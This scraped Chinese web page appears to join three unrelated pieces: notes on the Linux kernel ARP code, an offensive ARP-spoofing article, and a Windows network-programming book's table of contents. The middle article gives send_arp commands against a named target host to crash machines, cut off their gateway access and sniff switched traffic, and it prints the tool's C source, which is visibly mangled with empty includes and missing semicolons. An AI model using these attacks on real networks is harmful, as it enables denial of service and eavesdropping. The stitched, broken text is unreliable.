Linux内核-arp协议

Linux内核-arp协议,第1张

从ip_finish_output2到dev_queue_xmit路径:

http://www.bluestep.cc/linux%e5%91%bd%e4%bb%a4arping-%e7%bd%91%e7%bb%9c%e7%ae%a1%e7%90%86-%e9%80%9a%e8%bf%87%e5%8f%91%e9%80%81arp%e5%8d%8f%e8%ae%ae%e6%8a%a5%e6%96%87%e6%b5%8b%e8%af%95%e7%bd%91%e7%bb%9c/

arp协议

(1).硬件类型:

硬件地址类型,该字段值一般为ARPHRD_ETHER,表示以太网。

(2).协议类型:

表示三层地址使用的协议,该字段值一般为ETH_P_IP,表示IP协议

(3)硬件地址长度,以太网MAC地址就是6;

(4)协议地址长度,IP地址就是4;

(5) *** 作码

常见的有四种,arp请求,arp相应,rarp请求,rarp相应。

(6)发送方硬件地址与IP地址,(7)目标硬件地址与目标IP地址。

arp头数据结构:

arp模块的初始化函数为arp_init(),这个函数在ipv4协议栈的初始化函数inet_init()中被调用。

1.初始化arp表arp_tbl

2.注册arp协议类型;

3.建立arp相关proc文件,/proc/net/arp;

4.注册通知事件

一个neigh_table对应一种邻居协议,IPv4就是arp协议。用来存储于邻居协议相关的参数、功能函数、邻居项散列表等。

一个neighbour对应一个邻居项,就是一个arp条目

邻居项函数指针表,实现三层和二层的dev_queue_xmit()之间的跳转。

用来存储统计信息,一个结构实例对应一个网络设备上的一种邻居协议。

注册arp报文类型 :dev_add_pack(&arp_packet_type)

就是把arp_packet_type添加到ptype_base哈希表中。

注册新通知事件的时候,在已经注册和UP的设备上,会调用一次这个通知事件。

设备事件类型:

创建一个邻居项,并将其添加到散列表上,返回指向该邻居项的指针。

tbl:待创建的邻居项所属的邻居表,即arp_tbl;

pkey:三层协议地址(IP地址)

dev:输出设备

want_ref:??

创建邻居项

1.设置邻居项的类型

2.设置邻居项的ops指针

3.设置邻居项的output函数指针

调用dst_link_failure()函数向三层报告错误,当邻居项缓存中还有未发送的报文,而该邻居却无法访问时被调用。不懂。

用来发送arp请求,在邻居项状态定时器处理函数中被调用。

neigh:arp请求的目的邻居项

skb:缓存在该邻居项中的待发送报文,用来获取该skb的源ip地址。

将得到的硬件源、目的地址,IP源、目的地址等作为参数,调用arp_send()函数创建一个arp报文并将其输出。

创建及发送arp报文

创建arp报文,填充字段。

发送arp报文

用来从二层接收并处理一个arp报文。这个函数中就是做了一些参数检查,然后调用arp_process()函数。

neigh_event_ns

neigh_update

这个函数的作用就是更新邻居项硬件地址和状态。分支比较多。

neigh_update_notify

代理arp(proxy arp),通常像路由器这样的设备才使用,用来代替处于另一个网段的主机回答本网段主机的arp请求。

感觉代码ARP好像没啥用呀。

网络主机发包的一般过程:

1.当目的IP和自己在同一网段时,直接arp请求该目的IP的MAC。

2.当目的IP和自己不再同一网段时,arp请求默认网关的MAC。

https://www.cnblogs.com/taitai139/p/12336554.html

https://www.cnblogs.com/Widesky/p/10489514.html

当主机没有默认网关的时候,arp请求别的网段的报文,到达路由器后,本来路由器是要隔离广播的,把这个arp请求报文给丢弃,这样就没法通信了。当路由器开启arp proxy后,路由器发现请求的目的IP在其他网段,就自己给主机回复一个arp响应报文,这样源主机就把路由器的MAC当成目的IP主机对应的MAC,可以通信了。这样可能会造成主机arp表中,多个IP地址都对应于路由器的同一个MAC地址。

可以使用arping命令发送指定IP的arp请求报文。

写完了发现这个老妹写的arp代理文章蛮好的,不过她好像是转载的。

网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受限制的是我们的创造力和想象力”。

ARP也是如此。以下讨论的机子有一个要攻击的机子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的机子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

网关: 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一台交换机另一端口的机子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。

关键:ARP包的数量适当。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP导致IP冲突,死机

原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。

注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。

原理:用ARP应答包去刷新对应着要使之出不去的机子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...

四:用ARP欺骗交换机,可监听到交换机另一端的机子。

可能需要修改一下send_arp.c,构造如下的数据包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表,所以你可以先来个ARP 欺骗,然后就可以监听了,不过需要指出,欺骗以后,同一个MAC地址就有两个端口号。

yuange说,“这样其实就是一个竞争问题。” 好象ARP 以后,对整个网络会有点影响,不过我不敢确定既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。对被监听者会有影响,因为他掉了一部分数据。当然还有其他一些应用,需要其他技术的配合。以下是send_arp.c的源程序

CODE:

/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN]

u_char src_hw_addr[ETH_HW_ADDR_LEN]

u_short frame_type

u_short hw_type

u_short prot_type

u_char hw_addr_size

u_char prot_addr_size

u_short op

u_char sndr_hw_addr[ETH_HW_ADDR_LEN]

u_char sndr_ip_addr[IP_ADDR_LEN]

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]

u_char rcpt_ip_addr[IP_ADDR_LEN]

u_char padding[18]

}

void die (char *)

void get_ip_addr (struct in_addr *, char *)

void get_hw_addr (char *, char *)

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr

struct arp_packet pkt

struct sockaddr sa

int sock

int j,number

if (argc != 6)

die(usage)

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP))

if (sock <0)

{

perror("socket")

exit(1)

}

number=atoi(argv[5])

pkt.frame_type = htons(ARP_FRAME_TYPE)

pkt.hw_type = htons(ETHER_HW_TYPE)

pkt.prot_type = htons(IP_PROTO_TYPE)

pkt.hw_addr_size = ETH_HW_ADDR_LEN

pkt.prot_addr_size = IP_ADDR_LEN

pkt.op = htons(OP_ARP_QUEST)

get_hw_addr(pkt.targ_hw_addr, argv[4])

get_hw_addr(pkt.rcpt_hw_addr, argv[4])

get_hw_addr(pkt.src_hw_addr, argv[2])

get_hw_addr(pkt.sndr_hw_addr, argv[2])

get_ip_addr(&src_in_addr, argv[1])

get_ip_addr(&targ_in_addr, argv[3])

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN)

memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN)

bzero(pkt.padding,18)

strcpy(sa.sa_data,DEFAULT_DEVICE)

for (j=0j {

if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) <0)

{

perror("sendto")

exit(1)

}

}

exit(0)

}

void die (char *str)

{

fprintf(stderr,"%s\n",str)

exit(1)

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp

in_addr->s_addr = inet_addr(str)

if(in_addr->s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length)

else {

fprintf(stderr, "send_arp: unknown host %s\n", str)

exit(1)

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i

char c, val

for(i = 0i <ETH_HW_ADDR_LENi++)

{

if (!(c = tolower(*str++)))

die("Invalid hardware address")

if (isdigit(c))

val = c - '0'

else if (c >= 'a' &&c <= 'f')

val = c-'a'+10

else

die("Invalid hardware address")

*buf = val <<4

if (!(c = tolower(*str++)))

die("Invalid hardware address")

if (isdigit(c))

val = c - '0'

else if (c >= 'a' &&c <= 'f')

val = c-'a'+10

else

die("Invalid hardware address")

*buf++ |= val

if (*str == ':')

str++

}

}

Windows网络与通信程序设计(第2版) 王艳平 这本书写的非常好,我有本王艳平写的 windows程序设计,写得很好,我自己不做网络开发,就没有买网络的那本书!不过推荐你看看,真的很不错!

本书将编程方法、网络协议和应用实例有机结合起来,详细阐明Windows网络编程的各方面内容。本书首先介绍Windows平台上进行网络编程的基础知识,包括网络硬件、术语、协议、Winsock编程接口和各种I/O方法等;然后通过具体实例详细讲述当前流行的高性能可伸缩服务器设计、IP多播和Internet广播、P2P程序设计、原始套接字、SPI、协议驱动的开发和原始以太数据的发送、ARP欺骗技术、LAN和WAN上的扫描和侦测技术、个人防火墙与网络封包截获技术等;最后讲述IP帮助函数和E-mail的开发方法。 本书结构紧凑,内容由浅入...

第1章 计算机网络基础 1

1.1 网络的概念和网络的组成 1

1.2 计算机网络参考模型 2

1.2.1 协议层次 2

1.2.2 TCP/IP参考模型 2

1.2.3 应用层(Application Layer) 3

1.2.4 传输层(Transport Layer) 3

1.2.5 网络层(Network Layer) 3

1.2.6 链路层(Link Layer) 4

1.2.7 物理层(Physical Layer) 4

1.3 网络程序寻址方式 4

1.3.1 MAC地址 4

1.3.2 IP地址 5

1.3.3 子网寻址 6

1.3.4 端口号 8

1.3.5 网络地址转换(NAT) 8

1.4 网络应用程序设计基础 10

1.4.1 网络程序体系结构 10

1.4.2 网络程序通信实体 11

1.4.3 网络程序开发环境 12

第2章 Winsock编程接口 13

2.1 Winsock库 13

2.1.1 Winsock库的装入和释放 13

2.1.2 封装CInitSock类 14

2.2 Winsock的寻址方式和字节顺序 14

2.2.1 Winsock寻址 14

2.2.2 字节顺序 16

2.2.3 获取地址信息 17

2.3 Winsock编程详解 20

2.3.1 Winsock编程流程 20

2.3.2 典型过程图 23

2.3.3 TCP服务器和客户端程序举例 24

2.3.4 UDP编程 26

2.4 网络对时程序实例 28

2.4.1 时间协议(Time Protocol) 28

2.4.2 TCP/IP实现代码 29

第3章 Windows套接字I/O模型 31

3.1 套接字模式 31

3.1.1 阻塞模式 31

3.1.2 非阻塞模式 31

3.2 选择(select)模型 32

3.2.1 select函数 32

3.2.2 应用举例 33

3.3 WSAAsyncSelect模型 36

3.3.1 消息通知和WSAAsyncSelect函数 36

3.3.2 应用举例 37

3.4 WSAEventSelect模型 40

3.4.1 WSAEventSelect函数 40

3.4.2 应用举例 42

3.4.3 基于WSAEventSelect模型的服务器设计 44

3.5 重叠(Overlapped)I/O模型 53

3.5.1 重叠I/O函数 53

3.5.2 事件通知方式 56

3.5.3 基于重叠I/O模型的服务器设计 56

第4章 IOCP与可伸缩网络程序 67

4.1 完成端口I/O模型 67

4.1.1 什么是完成端口(completion port)对象 67

4.1.2 使用IOCP的方法 67

4.1.3 示例程序 69

4.1.4 恰当地关闭IOCP 72

4.2 Microsoft扩展函数 72

4.2.1 GetAcceptExSockaddrs函数 73

4.2.2 TransmitFile函数 73

4.2.3 TransmitPackets函数 74

4.2.4 ConnectEx函数 75

4.2.5 DisconnectEx函数 76

4.3 可伸缩服务器设计注意事项 76

4.3.1 内存资源管理 76

4.3.2 接受连接的方法 77

4.3.3 恶意客户连接问题 77

4.3.4 包重新排序问题 78

4.4 可伸缩服务器系统设计实例 78

4.4.1 CIOCPServer类的总体结构 78

4.4.2 数据结构定义和内存池方案 82

4.4.3 自定义帮助函数 85

4.4.4 开启服务和停止服务 88

4.4.5 I/O处理线程 93

4.4.6 用户接口和测试程序 99

第5章 互联网广播和IP多播 100

5.1 套接字选项和I/O控制命令 100

5.1.1 套接字选项 100

5.1.2 I/O控制命令 102

5.2 广播通信 103

5.3 IP多播(Multicasting) 105

5.3.1 多播地址 105

5.3.2 组管理协议(IGMP) 105

5.3.3 使用IP多播 106

5.4 基于IP多播的组讨论会实例 110

5.4.1 定义组讨论会协议 110

5.4.2 线程通信机制 111

5.4.3 封装CGroupTalk类 111

5.4.4 程序界面 117

第6章 原始套接字 121

6.1 使用原始套接字 121

6.2 ICMP编程 121

6.2.1 ICMP与校验和的计算 121

6.2.2 Ping程序实例 124

6.2.3 路由跟踪 126

6.3 使用IP头包含选项 129

6.3.1 IP数据报格式 129

6.3.2 UDP数据报格式 131

6.3.3 原始UDP封包发送实例 133

6.4 网络嗅探器开发实例 134

6.4.1 嗅探器设计原理 135

6.4.2 网络嗅探器的具体实现 136

6.4.3 侦听局域网内的密码 138

6.5 TCP通信开发实例 140

6.5.1 创建一个原始套接字,并设置IP头选项 140

6.5.2 构造IP头和TCP头 140

6.5.3 发送原始套接字数据报 142

6.5.4 接收数据 146

第7章 Winsock服务提供者接口(SPI) 147

7.1 SPI概述 147

7.2 Winsock协议目录 148

7.2.1 协议特性 149

7.2.2 使用Winsock API函数枚举协议 150

7.2.3 使用Winsock SPI函数枚举协议 151

7.3 分层服务提供者(LSP) 153

7.3.1 运行原理 153

7.3.2 安装LSP 154

7.3.3 移除LSP 158

7.3.4 编写LSP 159

7.3.5 LSP实例 161

7.4 基于SPI的数据报过滤实例 165

7.5 基于Winsock的网络聊天室开发 171

7.5.1 服务端 171

7.5.2 客户端 171

7.5.3 聊天室程序的设计说明 172

7.5.4 核心代码分析 172

第8章 Windows网络驱动接口标准(NDIS)和协议驱动的开发 176

8.1 核心层网络驱动 176

8.1.1 Windows 2000及其后产品的网络体系结构 176

8.1.2 NDIS网络驱动程序 177

8.1.3 网络驱动开发环境 178

8.2 WDM驱动开发基础 181

8.2.1 UNICODE字符串 181

8.2.2 设备对象 181

8.2.3 驱动程序的基本结构 183

8.2.4 I/O请求包(I/O request packet,IRP)和I/O堆栈 183

8.2.5 完整驱动程序示例 186

8.2.6 扩展派遣接口 188

8.2.7 应用举例(进程诊测实例) 191

8.3 开发NDIS网络驱动预备知识 198

8.3.1 中断请求级别(Interrupt Request Level,IRQL) 198

8.3.2 旋转锁(Spin Lock) 198

8.3.3 双链表 199

8.3.4 封包结构 199

8.4 NDIS协议驱动 200

8.4.1 注册协议驱动 200

8.4.2 打开下层协议驱动的适配器 201

8.4.3 协议驱动的封包管理 202

8.4.4 在协议驱动中接收数据 203

8.4.5 从协议驱动发送封包 204

8.5 NDIS协议驱动开发实例 204

8.5.1 总体设计 204

8.5.2 NDIS协议驱动的初始化、注册和卸载 206

8.5.3 下层NIC的绑定和解除绑定 209

8.5.4 发送数据 217

8.5.5 接收数据 219

8.5.6 用户IOCTL处理 225

第9章 网络扫描与检测技术 233

9.1 网络扫描基础知识 233

9.1.1 以太网数据帧 233

9.1.2 ARP 234

9.1.3 ARP格式 236

9.1.4 SendARP函数 237

9.2 原始以太封包的发送 238

9.2.1 安装协议驱动 238

9.2.2 协议驱动用户接口 238

9.2.3 发送以太封包的测试程序 244

9.3 局域网计算机扫描 245

9.3.1 管理原始ARP封包 246

9.3.2 ARP扫描示例 249

9.4 互联网计算机扫描 253

9.4.1 端口扫描原理 253

9.4.2 半开端口扫描实现 254

9.5 ARP欺骗原理与实现 259

9.5.1 IP欺骗的用途和实现原理 259

9.5.2 IP地址冲突 260

9.5.3 ARP欺骗示例 261

第10章 点对点(P2P)网络通信技术 264

10.1 P2P穿越概述 264

10.2 一般概念 265

10.2.1 NAT术语 265

10.2.2 中转 265

10.2.3 反向连接 266

10.3 UDP打洞 267

10.3.1 中心服务器 267

10.3.2 建立点对点会话 267

10.3.3 公共NAT后面的节点 267

10.3.4 不同NAT后面的节点 268

10.3.5 多级NAT后面的节点 269

10.3.6 UDP空闲超时 270

10.4 TCP打洞 271

10.4.1 套接字和TCP端口重用 271

10.4.2 打开点对点的TCP流 271

10.4.3 应用程序看到的行为 272

10.4.4 同步TCP打开 273

10.5 Internet点对点通信实例 273

10.5.1 总体设计 273

10.5.2 定义P2P通信协议 274

10.5.3 客户方程序 275

10.5.4 服务器方程序 287

10.5.5 测试程序 291

第11章 核心层网络封包截获技术 294

11.1 Windows网络数据和封包过滤概述 294

11.1.1 Windows网络系统体系结构图 294

11.1.2 用户模式下的网络数据过滤 295

11.1.3 内核模式下的网络数据过滤 296

11.2 中间层网络驱动PassThru 296

11.2.1 PassThru NDIS中间层驱动简介 296

11.2.2 编译和安装PassThru驱动 297

11.3 扩展PassThru NDIS IM驱动——添加IOCTL接口 297

11.3.1 扩展之后的PassThru驱动(PassThruEx)概况 297

11.3.2 添加基本的DeviceIoControl接口 298

11.3.3 添加绑定枚举功能 302

11.3.4 添加ADAPT结构的引用计数 307

11.3.5 适配器句柄的打开/关闭函数 308

11.3.6 句柄事件通知 315

11.3.7 查询和设置适配器的OID信息 315

11.4 扩展PassThru NDIS IM驱动——添加过滤规则 323

11.4.1 需要考虑的事项 323

11.4.2 过滤相关的数据结构 324

11.4.3 过滤列表 326

11.4.4 网络活动状态 327

11.4.5 IOCTL控制代码 328

11.4.6 过滤数据 331

11.5 核心层过滤实例 339

第12章 Windows网络防火墙开发技术 342

12.1 防火墙技术概述 342

12.2 金羽(Phoenix)个人防火墙浅析 343

12.2.1 金羽(Phoenix)个人防火墙简介 343

12.2.2 金羽(Phoenix)个人防火墙总体设计 344

12.2.3 金羽(Phoenix)个人防火墙总体结构 345

12.3 开发前的准备 345

12.3.1 常量的定义 346

12.3.2 访问规则 348

12.3.3 会话结构 348

12.3.4 文件结构 349

12.3.5 UNICODE支持 355

12.4 应用层DLL模块 356

12.4.1 DLL工程框架 356

12.4.2 共享数据和IO控制 362

12.4.3 访问控制列表ACL(Access List) 364

12.4.4 查找应用程序访问权限的过程 367

12.4.5 类的接口——检查函数 370

12.5 核心层SYS模块 373

12.6 主模块工程 375

12.6.1 I/O控制类 375

12.6.2 主应用程序类 377

12.6.3 主对话框中的属性页 380

12.6.4 主窗口类 381

12.7 防火墙页面 383

12.7.1 网络访问监视页面 383

12.7.2 应用层过滤规则页面 387

12.7.3 核心层过滤规则页面 397

12.7.4 系统设置页面 403

第13章 IP帮助函数 406

13.1 IP配置信息 406

13.1.1 获取网络配置信息 406

13.1.2 管理网络接口 408

13.1.3 管理IP地址 412

13.2 获取网络状态信息 415

13.2.1 获取TCP连接表 415

13.2.2 获取UDP监听表 418

13.2.3 获取IP统计数据 420

13.3 路由管理 427

13.3.1 获取路由表 427

13.3.2 管理特定路由 431

13.3.3 修改默认网关的例子 432

13.4 ARP表管理 433

13.4.1 获取ARP表 433

13.4.2 添加ARP入口 434

13.4.3 删除ARP入口 434

13.4.4 打印ARP表的例子 434

13.5 进程网络活动监视实例 438

13.5.1 获取通信的进程终端 438

13.5.2 Netstate源程序代码 439

第14章 Email协议及其编程 444

14.1 概述 444

14.2 电子邮件介绍 445

14.2.1 电子邮件Internet的地址 445

14.2.2 Internet邮件系统 445

14.2.3 电子邮件信头的结构及分析 446

14.3 SMTP原理 448

14.3.1 SMTP原理分析 448

14.3.2 SMTP工作机制 449

14.3.3 SMTP命令码和工作原理 449

14.3.4 SMTP通信模型 450

14.3.5 SMTP的命令和应答 451

14.4 POP3协议原理 452

14.4.1 POP3协议简介 452

14.4.2 POP3工作原理 453

14.4.3 POP3命令原始码 454

14.4.4 POP3会话实例 459

14.5 实例分析与程序设计 460

14.5.1 总界面设计 460

14.5.2 SMTP客户端设计 461

14.5.3 POP3客户端设计 473


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/7145649.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-02
下一篇 2023-04-02

发表评论

登录后才能评论

评论列表(0条)

保存